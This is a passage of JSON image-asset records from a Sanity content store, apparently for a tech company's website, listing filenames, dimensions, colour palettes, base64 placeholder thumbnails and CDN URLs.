rPzDfwFkqrLbo/WhrwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35326d","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04146d","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7dcea","foreground":"#000","population":9.82,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7dcea","foreground":"#000","population":9.82,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#777bbe","foreground":"#fff","population":0.39,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7191","foreground":"#fff","population":1.73,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#252d91","foreground":"#fff","population":2.95,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"data_maze.png","path":"images/sczeoy4w/production/727c9f983afd7c3cff0799526c137a9615b1661b-1567x844.png","sha1hash":"727c9f983afd7c3cff0799526c137a9615b1661b","size":147201,"uploadId":"24JeoVfopTMZOPr70dyIBSMu1acvIkoF","url":"https://cdn.sanity.io/images/sczeoy4w/production/727c9f983afd7c3cff0799526c137a9615b1661b-1567x844.png"} {"_createdAt":"2022-09-07T11:39:48Z","_id":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFkHy","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:48Z","assetId":"728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADR0lEQVQ4jW2V24uWVRjFf81MNg1JzIVhpENaEWknjOxw2YUhFhZ2IRU6fWt/k9lkR6yQogMEgZlQlp3sTAWlVBamM3lhF110YZJhBRHUn9D1s+LZ7x6/ueiFzcuGd6/9PGutZ73wP4+3gDe2tyDacmHYhTEXFltcZnFDXYXl7jMa9+bhAt7Q3v327nVAvgeiVLAFFsst1lncZ/GUxa4Q71i8V/eF6yzOOn2wgkw3QLW1ue4T7CqLHRazFr9b/GzxtcU+i88tjlg8GWJiUNndEAmwFWIjxCMVdMTiCotnLY5aHLf42+IXixctbrbYbLHfYm+IVV0lHVdDLixyYZXFjRYrLVaHeLpV8LbF/SF2Wnxv8a7FrRbrLT6y2BOFq/FUbfdMi4stpiw+sPjC4o12aLaBrbFYFOLKxuGh6PjbHeKQCy+4sCxbTrCVIZ6wOJgfWsyE+M3iD4sPLdaGOMeTldMRF1Y00KMWpyxOWDzmPuP5wUTddG18arHd4vVGfHKzPsR5FuMhFrrHUPQrtynUyxb/RMfppPssSMBrmlrHW5vPW3xl8ZnFHS4scWG1Raki9FhYXSHOb4WcaIrflDok4EXu2j1s8YPFTxbfWGyKwkSUatyXLA400PG2bmtiHLF4MC9Oz+ZNo1blZEuI7yxOtipXROH6BIvCbANN815gscHi4ybMdotLnTRMdYBp7CGrVpremrGYdmGNCztdmGmgaaVlFnc2M+flj1pc4h4jfqbz82Aquja2NQu86cJbLhxO0NZ22mqyVZXqv+a00BRD3gSRvD48N8vd4J/twu3t5j9dOOnCPhfWRWf2rRZfNhF+tXiltjo1D2NyrsI+RJ+xKNX1aZ9/Lf5y4X0XHndhd5IfneFfjY6WT0JcG/PCJB7idDCM1rQo7LI41oz9rbuVk3IqxI/RmXlHdOB760CUAWB9It0vllSCCwebmre0laP4XJueY20E0+wHohNnfF4WtDDNhBFLXehFqaBZ6Viz07ktB5O/9FuaPzmejsJS9zjDdw0ydJDOnSAJuiST12vnEd1j2L066+m3PenXOgx9hr1toMEAsBOEjO9UrHLSrFRjvwMddY8LLS63WFx/Balu8v9Ad26u5f8Ag/GZwJWObQYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#71463e","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#881c04","foreground":"#fff","population":1.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8640b","foreground":"#fff","population":3.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#943a04","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbad7e","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#965e51","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8640b","foreground":"#fff","population":3.13,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-rocket.svg","path":"images/sczeoy4w/production/728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24.svg","sha1hash":"728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c","size":600,"uploadId":"mDgG0tUBI5yH6fqNlXGDgjoKHgBivyUT","url":"https://cdn.sanity.io/images/sczeoy4w/production/728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24.svg"} {"_createdAt":"2022-06-17T08:37:17Z","_id":"image-729bfb64cdefca3de0ccf07f7d286246f14a4bd6-160x160-png","_rev":"qkpX9b3U0TpOGFQp8gReYB","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:17Z","assetId":"729bfb64cdefca3de0ccf07f7d286246f14a4bd6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eTODOaRP.T%g8^^+ofM|jsRj01og4TRPIV-;WBRPozM{M{t79FRjt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":160,"width":160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEoklEQVQ4jW2U21NTVxTGz/DAP8A/waN96FOnMy1M++SM0+mDjuOoM9pOJSKtKBfFokBAEDBFMNxEgYQQoAmXSArBCVcRETRKQkhEiki5BEGBaE6S832dnQR0Ol0z58w+Z+/1W2t9e68tkZQASOFQSCIZByABQDJJNUk7yWWSgdgjxnYAagBJJMVa4RNhCNb+gGQ8gEQAKpKmUCjkebvh2/LOueXnjmfK3KxL8a2vycGgvAXAA8AEIIWk8InfS+xz2IFYZIcsB/yL8152tbWw4Eo2z6t+ZlZ6Guu0lZx+8pg729sE4BdrAYhKDoBR6F6ZibEJb1CWw688szTUV+HC6aM4fvBbHP7uKxz8+kv88P03yL+cienJCcgBoQDDALwx30TBkmI6pMSihTfWV2ExNuH3lOPIPHYIpedO4HbmLyhWHUPm0YO4dOowOhrr4FtbASkShYA6wIhUCQKYJPQg6YeicMHrxj1NIcrTTrKzOBPPjFp4evV0mer5qFaN1lwVdBo1590uAIqARstnhJEsgEI3T2RCUfDS7USjppAt19LgatHw7dCffPe4j+/GurncXcvBiss0aUvw0j1DRVH2siQYYail2DHYikXCS7cLDWUFaL6i4lR9IRe66vmPrZUrfXq6WzTs1+TQ2qTlm79fieWIekG8xe7bBXAZgBwNpWBxzomOiiK0Xk2l/Y8cTtQV0dlcTmdTKUcrc9l9I5v29kb6Vpb3shMm8pEFSwADn4vx9vU8xg3VHKrMpaOpjC69hu67xZytL+R0TT7Haov4YqCbO5sb/A9QEaxPwOhPfNhcx9yAmVMNJVwwVnKprYruOjVd2mv03CnirKGSS9NjlD/4/x8IIFpyDBgKfMTSi0k80VVwpq6Artp8jpdmcqToPCc1l/i8VctVzwzDoeB+yYzafsmRTYkJC1mWseiZxYi+mqM3szl5M5Mj19PZf/UsbdfTOdXZzM2VN7Gt3bdPmxJrt8ixCYfDWF1bx6Ctn82leTDnn+PDsgxOlGexLy+NPWU5dI4O8KN/d0/yPROfor/VApgca3T/7q6fL5xutLUYcCs3g9UXT8Oclwpb8QXqc1J4tzgX04/GsLOzw3BY+bxcf6w5kiKtFwyFVO/fbzteLbwOj44/QVdXL/Q1t3Er5zfcSD2BkjNHcfnUEeRmXERbuxnTz5xYerOCnZ1dhERZ0bYV7RtpvTjfxmaic9arHhmf8vY9GA1b/rKz02zBPa0WBempOHvkEH468iOyLmajsroRLe0WWG0jnHo6E15ZXfcGg8HI5fDu/Xac9CEQlCYmHfE2+8MvrLYRdW//sKPHOug39wzQ0GpmedF1/nr6JNPOnGFRsYY1DUY26MxsNHT5jSarY3hsUr265jsgrkBJ2LTDFbkTe6yD8VbbSKLVNqyy9A2ZOi0PPC1tPVvlN6vkjAtZyrW8YqX6jkFuNlq2mlq7PQ06s6m+qUN1V2cSPhGY9k6rJD19Piutrvki0IHBh3G9/cMJlr6hpM77D9SGjvv2qpqm5cKSW4EK7b1As7Fn2Wjut+s7etUNOnNyg86c0N5li3O5X0ve+UVp3bcp/Qt7VgT+wiDymwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#513c32","foreground":"#fff","population":2.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#844434","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ebb69f","foreground":"#000","population":5.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3bcc3","foreground":"#000","population":0.98,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ebb69f","foreground":"#000","population":5.5,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e7661","foreground":"#fff","population":1.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c5744","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"juho_heikkinen.png","path":"images/sczeoy4w/production/729bfb64cdefca3de0ccf07f7d286246f14a4bd6-160x160.png","sha1hash":"729bfb64cdefca3de0ccf07f7d286246f14a4bd6","size":10406,"uploadId":"Fzf7KQN7HBhRtou8BeiR7r1exCrlErlS","url":"https://cdn.sanity.io/images/sczeoy4w/production/729bfb64cdefca3de0ccf07f7d286246f14a4bd6-160x160.png"} {"_createdAt":"2023-06-07T13:33:37Z","_id":"image-72c682208a3caae89c873f5e739e2ed4e15e5b44-1920x1037-jpg","_rev":"rV9BZDYEBgQp95tIyWBEPa","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:33:37Z","assetId":"72c682208a3caae89c873f5e739e2ed4e15e5b44","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNCFq~T1JRMwIA~DW?S$i^ROOYn+ozt7s.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHBAX/xAAiEAACAQQBBAMAAAAAAAAAAAABAgQAAwURBhITIWEiQlH/xAAVAQEBAAAAAAAAAAAAAAAAAAADAv/EAB8RAAEDAwUAAAAAAAAAAAAAAAEAAiEEEzIDUmGBsf/aAAwDAQACEQMRAD8AROAcgjXsFJx2Qgxb/RbLJdPhx796rnJySAL9uzIuFGjv1WbjptXHsVPO46R1ZGKtvWwdeK0yVV4aMw2QPBNI7QNQJOMqGVIp4AyjpNuYz0GTNa4qY9QR9VOif2ipu4+RooLPKW63b6v/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4337","foreground":"#fff","population":3.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#064477","foreground":"#fff","population":6.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#064477","foreground":"#fff","population":6.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5cdd0","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc84ac","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c966c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c6121d","foreground":"#fff","population":1.4,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"paf-customer-img.jpg","path":"images/sczeoy4w/production/72c682208a3caae89c873f5e739e2ed4e15e5b44-1920x1037.jpg","sha1hash":"72c682208a3caae89c873f5e739e2ed4e15e5b44","size":1907173,"uploadId":"0iJ1RtlhzeDR86S49AVrEaDI3oCQrnxB","url":"https://cdn.sanity.io/images/sczeoy4w/production/72c682208a3caae89c873f5e739e2ed4e15e5b44-1920x1037.jpg"} {"_createdAt":"2024-01-29T10:30:03Z","_id":"image-6f7e89fdf066cb09622d3d5859b155e161eb3f5d-1200x628-png","_rev":"lhvtNBOlLYH5KiQFQ85mJf","_type":"sanity.imageAsset","_updatedAt":"2024-01-29T10:30:03Z","assetId":"6f7e89fdf066cb09622d3d5859b155e161eb3f5d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TN4s.$iv=yg4}sjbe.kCf+hfZ~b^iwe-","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABpklEQVQokX2SX0uTYRyG7/cdMxodzIwibVFMFKIwhaATP0IH29Lp2mYhuT9szuE207aBrITKTjuso77mfcU7BdcoDy54ji5+PNctsmJMTrAhyAsKgqKgLHgr2BW8F64K14UbwvvCbeFD4a5wT/hIiIwYk50QbgveXAm9KxwJK4KaoCHYFxwIDgVdQe8CkQsgfwPyM5APYTsGxRiUQ9gJ8TvhWgJ37+PDOdyM4/0YbsdxJ467MXwUXhIJS0norEFnFWopaDyCgzRuP4bWPFRv4ZMl/LOMf7zCwzQepPBoEX9K41H0nsenc/hkBrH3EL5k4GsGjl9A/yWcruPROu6vQOseHj7Dv+v4VwmfPcefn+Jva/h8FX9fwedP8FkK928iikloLEFzGSoLUFuAxgNopXDzLlQSuJnEg2U8WMSdWdxN4uPb+OMcHt7Bw1ncT+APMeRsgHMhfh3izQBvBbgQ4FKAd4KLP4yi7AW4GlxfuXdd5X/MhqhyfaJye6pyFMVZMSYnvCG8JVwQLgqXdXXh9A5b/9nhX8LNKeHOhHBvQticEl7KIuEfdXbq5AQMOE0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":21.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfb492","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbbc70","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a37954","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":21.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"CCS Final Helthjem.png","path":"images/sczeoy4w/production/6f7e89fdf066cb09622d3d5859b155e161eb3f5d-1200x628.png","sha1hash":"6f7e89fdf066cb09622d3d5859b155e161eb3f5d","size":34833,"uploadId":"j8MXhtQW8kINSFgolqkVVXRZl063tBO5","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f7e89fdf066cb09622d3d5859b155e161eb3f5d-1200x628.png"} {"_createdAt":"2023-03-30T17:02:24Z","_id":"image-6fb6b278a4d0c240844b6b035f2f6654e44bde05-1333x271-png","_rev":"X76Ye1KO1uMYkz1EfOlazC","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T17:02:24Z","assetId":"6fb6b278a4d0c240844b6b035f2f6654e44bde05","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.918819188191882,"height":271,"width":1333},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAVUlEQVQImZXL0Q3DMAwDUe8/bJPGkiyJZJwJWiAP93vDI077fuyYblVNkNSvqnuaH+d1TTOPsTI9YlWClHT/JQlgNwACHFm1VgLc935rgKwGpdfr3g8cCex+PVfDmwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44644c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d671d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b0c7b2","foreground":"#000","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0c7b2","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a6e6a6","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c8c4c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#37c737","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-migrate-replication-flow-enabled.png","path":"images/sczeoy4w/production/6fb6b278a4d0c240844b6b035f2f6654e44bde05-1333x271.png","sha1hash":"6fb6b278a4d0c240844b6b035f2f6654e44bde05","size":6107,"uploadId":"U3lgN2WSxwSBlkt4Q9wXWBm8Pd9nQIeW","url":"https://cdn.sanity.io/images/sczeoy4w/production/6fb6b278a4d0c240844b6b035f2f6654e44bde05-1333x271.png"} {"_createdAt":"2024-02-26T14:44:11Z","_id":"image-6fc7fb9a3517fd5d49279f13994162af06d2d641-1500x220-png","_rev":"goLk0XsDDQxPwHP2lILqjp","_type":"sanity.imageAsset","_updatedAt":"2024-02-26T14:44:11Z","assetId":"6fc7fb9a3517fd5d49279f13994162af06d2d641","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"45N17T~q00%M00","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.818181818181818,"height":220,"width":1500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAeUlEQVQImWXPy2oCYRBE4dlEUMdL1EQUlRBBXCi4CeT9H6w+afgHBBdndaqL6g5dY5rkmGSPr8YSY8ywfmFVLskCfZKPoWcoK7b4T/KHW+Ncx0nKXXDHI8kVv80fMHkrTDJvoR/Uyh02LdzjG6fKJClXS+uLT4yGwieKdLfYIFdaIAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4b4","foreground":"#000","population":0.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-cobranding-aiven-GCP-white-compact.png","path":"images/sczeoy4w/production/6fc7fb9a3517fd5d49279f13994162af06d2d641-1500x220.png","sha1hash":"6fc7fb9a3517fd5d49279f13994162af06d2d641","size":26287,"uploadId":"xtsSJJ45E10FjsZcEHJ1YlLyBjR15Smn","url":"https://cdn.sanity.io/images/sczeoy4w/production/6fc7fb9a3517fd5d49279f13994162af06d2d641-1500x220.png"} {"_createdAt":"2023-06-09T07:49:40Z","_id":"image-6fd9f83965e5ff6b67348e500c7fe2754c3f6652-800x800-jpg","_rev":"dsxJlHxlnt5nZt5n21pKnI","_type":"sanity.imageAsset","_updatedAt":"2023-06-09T13:28:24Z","altText":"Florian Engel portrait","assetId":"6fd9f83965e5ff6b67348e500c7fe2754c3f6652","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eAC6M?WB00of^P-;juIUbHj[00ay~DoftR0Jof?bWBR+IUj[-pjZE1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQADAAAAAAAAAAAAAAAAAAcDBQj/xAAkEAABAwQBBQADAAAAAAAAAAABAAIDBAUGERMHEiExURZhcf/EABYBAQEBAAAAAAAAAAAAAAAAAAQDAv/EABoRAAMBAQEBAAAAAAAAAAAAAAABAwIRITL/2gAMAwEAAhEDEQA/AId07xz8nyBlE5/ZGG973fAFVc26TW6ix+oqLdWcs0EXN5I9D2pj0mvUNryfVUwOgqYzE7Z1pVbML9S0NhuL2wxNmdAYYQ2Te2n9JVXpUSRqU8ubbOeUWLe9k+0SuBeGwoncFZGYwAQ4KjZ5Z6S3YtBWUzX807m9xc7YGxvx8RFGv3krH3GibbDvLmNJ/iIiQF6z/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#293950","foreground":"#fff","population":1.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c2c","foreground":"#fff","population":30.72,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c2c","foreground":"#fff","population":30.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6adb2","foreground":"#000","population":2.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4d4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8b676f","foreground":"#fff","population":1.8,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#153fe9","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"florian-engel.jpg","path":"images/sczeoy4w/production/6fd9f83965e5ff6b67348e500c7fe2754c3f6652-800x800.jpg","sha1hash":"6fd9f83965e5ff6b67348e500c7fe2754c3f6652","size":112606,"title":null,"uploadId":"GMmtxS60cySIDuGwxoZcI0fe6CeUxvbV","url":"https://cdn.sanity.io/images/sczeoy4w/production/6fd9f83965e5ff6b67348e500c7fe2754c3f6652-800x800.jpg"} {"_createdAt":"2022-06-30T19:59:17Z","_id":"image-6fdc3036d3287c969f26153ea5c6d9bfe807224a-1952x3180-png","_rev":"cEPH2uRN58AU2lp9QO7x0b","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:35Z","assetId":"6fdc3036d3287c969f26153ea5c6d9bfe807224a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dNCXK^of|un+sVjuj[fQ;gjZWpj[sVfQfQjt;gjtWqjt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6138364779874214,"height":3180,"width":1952},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAgCAYAAAASYli2AAAACXBIWXMAAAsTAAALEwEAmpwYAAAD1klEQVRIiZ1WTW8bVRTNzyH2zJt53zOT2IlKIQSbZmrP9zix0yRdUNh0X7FAQiz4FSwRSKUSO3YFoYodEjvWrPgPB903cRI3pnFYHD3L1py5991zzvXW3yLFryLFS36EH4L03vg+SPEySPEmTPGPTLH1JnyEr9UUC1Og4QUqlqH0pyi9TTBB4U0x8yb4xk/xZ/gIWz+xMc5ljjg+gbbHkLIGD0sEfg7Wz+H3M/i99WCXp+xl+NxL8RsbY+uVP8I8yKD1DNLMIFUFLkuEYQHmE2EOr9edt5HB6+cQvQzP+kf4hY2WhFNIXiPklSMKggIBK8C8ywepkv4a9FYJXztCNsZC5NCqhZAVOKfqKgRBBd8rblXlOfLrF3nrCE9FAWNaSFN3LfMKASPCjuAmVkjvJNQ1hKIKy8uWC0fqcK8KVQkTnUDoBiEvwHkBqWpI3YDL7m6ZX2xO+ETXiAdnUNHcPSxEiXi3Qbx3DBW1CMV9CU2Nnf0LRPtPoeMFtG2RDFpEwxZCEdmqVDZqOR6cwe4/hR2cwyRzmKh1AyKyew5lhAXPYewJVLxwbUs9c5Netnlv2SxIh0SiGnDRyYbQ6ZEmXl5pcrM7VBVssoAwMycZmrKJG5idYyjbgosajEg3n3KFeHgGvXMKLltIuZwy+btxVlxqceMK4+E57N4FdLKAMi1MVEPZuiNb8fNdQ/FHOKWKhueI9i9c61q3ztOMXd8bPbhRhT/63ZSj3Seww3PnGCIMg9KlTZeJN1Mnv5twHmSw8Rxm98wJW9ljCNFABRUMK8HXTfidhGzqZNPpcAFpTsBFCx1WsEEFsSS86ZJ33eF8GbCCdEiBQCFBq6ACJx1e+fitxP5P68nSOUW6TGyg7AySYGYQdJ9htXnLr5Y6JC8PTqHj4ysioVpXrUvvt4NhzU55fSUbUSAiuSSnzscUYS5gqVUXsqueptZdtS4w1hAueAYbdW2Sl0nMlDIkG/Ky8zS7/s6BPlOs+Tmkl+GZt6LDKaKkgU5oKOVV/oVBAR01sLszKEvDqtzvIS0yXjgEvIAOcnzmp90a7QgniAc1or0GUl8Gai8DDwtEgxbJgxPYwQw6biFtA6Ert3u4KMCCAtK/VeEEyaBG8qCFSWiH0F7OIehud2vYQQsd0/RrSFO5l0rdpZLvrVv04QQ2rmCG1HYNYSpwVUKoAtKW7p8EVcJYvgK6v34/B+9l+HRJ+DMb4bl/hI/DCT7i1zgIJzhgjx0+8B7jYS/F+9ureEhnL8VhL8WL/if4PRhj649ghG/7h/hy+wBfvPfh/8JX2wf4zjvEX+EY/wKXg4LFLJ/szQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c54","foreground":"#fff","population":50.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c0c26","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c54","foreground":"#fff","population":50.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aa859d","foreground":"#fff","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed335c","foreground":"#fff","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c6c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9304c","foreground":"#fff","population":11.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6fdc3036d3287c969f26153ea5c6d9bfe807224a-1952x3180.png","path":"images/sczeoy4w/production/6fdc3036d3287c969f26153ea5c6d9bfe807224a-1952x3180.png","sha1hash":"6fdc3036d3287c969f26153ea5c6d9bfe807224a","size":688253,"uploadId":"V3IpJLl9fbvkIZsJlfzImj66siaIcNk9","url":"https://cdn.sanity.io/images/sczeoy4w/production/6fdc3036d3287c969f26153ea5c6d9bfe807224a-1952x3180.png"} 